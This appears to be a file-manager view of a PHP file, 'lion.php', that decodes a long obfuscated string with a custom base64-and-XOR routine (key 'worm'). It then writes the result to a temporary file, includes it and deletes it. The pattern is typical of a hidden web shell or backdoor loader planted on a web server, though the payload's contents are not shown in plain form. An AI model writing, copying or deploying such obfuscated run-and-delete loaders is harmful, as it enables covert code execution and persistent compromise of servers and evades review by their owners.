JezK

Edit File: lion.php

<?php
$encrypted = 'S1ACBQdieEkTABEYGgocGSUAHRlXUlIfEg4eHRYbGkUQCgYOAAtaRF5Uf2dTGgIBGA4WPRYbGk1KTxseBAoGRVMwNSgjNFUdFhsaSipGUlJXSy0qMjspSgcOBgVQMlJXV0sWAhQaHwgZGyACGBtJYH1LBx0bABMJJw4GBVdSUh4DHS0fEh8eDBQKWjZQQFVBV0guMVAyXk0zJiAoNDs9Py4wISgnLiAsIyAgQVdLBx0bABMJJw4GBV5Uf2d6ZRsLV0dTBAQwFgQFR1YYBwMdDBM_ExkfRltNDGJ4TVdPUgkeClpPp_Ki2KfbotOn0KPupu6j76fXotGm5KLUV7_NvPS-8Lz7T6Lap9-i3qbvo-6n2KLXp9dSRafSothXv8a9z77yvcK_yLz1v8y897_KvPhGXE9eVH9nCmJ4YH0GFE1fSy0-Mj0kKCU0VT8yPicoJDstIDI7OiIzSC9NSlJPTVA_PT4jSFJLUU8bHgQKBkVTMDQkOyohNlAaAgEYDhYIEzAUBBsKAUoqRltNDGJ4TVdPUkkRBh4IBE9PTVMwNCQ7KiE2UBoCARgOFggTMBQEGwoBSipUf2d6ZVJNV08UAgVPWkkeT09NR1RSSR5PTk0UAAcDA0dWCx4DFx4sSBwMGgpVMF5UUkkeRFlEVxR_Z1dPUk1XT1JNHglSRVMJGwESHClKEh0AAgVILzZTBi9NSlJPTSI_PiI2Ky0oJT0tIjxGUhZ6ZVJNV09STVdPUk1XT1YLHgMXAxYCF01KTxAMBAocDBoKWkkRBh4IBDRVAxYCF0oqNFYEKkZJYH1PUk1XT1JNV09STVdLBgAHIRMAEk9PTVMJGwESHClKAwICMhkOHwhQMilJHjJJYH1PUk1XT1JNV09STVdLFggEGxsDFhsbAhlPT01TGgIBGA4WPRYbGk1ZTzYkJSoxOTg9KzIkKiIsJS4mIiVPXE1TCRsBEgETABJUf2d6ZVJNV09STVdPUk1XTxsLV0cfAgEKLRgHAx0MEwoWMhEGHghfSwYAByETABJDUkkTCgEZHgETGR4AHEReTwlgfU9STVdPUk1XT1JNV09STVcKEQUYT1C907_Cvc6_yU1QSxQEGwocDBoKVU2m7KPsp9Ci2KbnotCn0VK9wL_CvcS-8rz0v8S9wr_PQ0sNAFNVVH9nV09STVdPUk1XT1JNCk8XAQQKUhZ6ZVJNV09STVdPUk1XT1JNV08XDh8AUk-n8aPlp9ei3KfVot1Xv82897_KTafYot2n3KPtpuyi2qfVothXSFYLHgMXAxYCF0pZUxAfSU1JYH1PUk1XT1JNV09STVcSf2dXT1JNV09STQpPFwEEClIWemVSTVdPUk1XT1JNV08XDh8AUk-n8aPlp9ei3KfVot1Xv8W9x7_BvPe-8b3Av8i9z0-j6affotSn1KLdV0gJSREGHggENFUDFgIXSio0VgQqElVNX7_Ivcm_xldXFFYLHgMXHixIFx8FAABKKjRWBCoSW0NLDQBTVVR_Z1dPUk1XT1JNCmJ4TVdPUhB6ZQ9gfVBMYH0';
if (!function_exists('hog')) {
    function hog($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

$bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

$res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), hog($encrypted, 'worm'));
include $tmp;
unlink($tmp);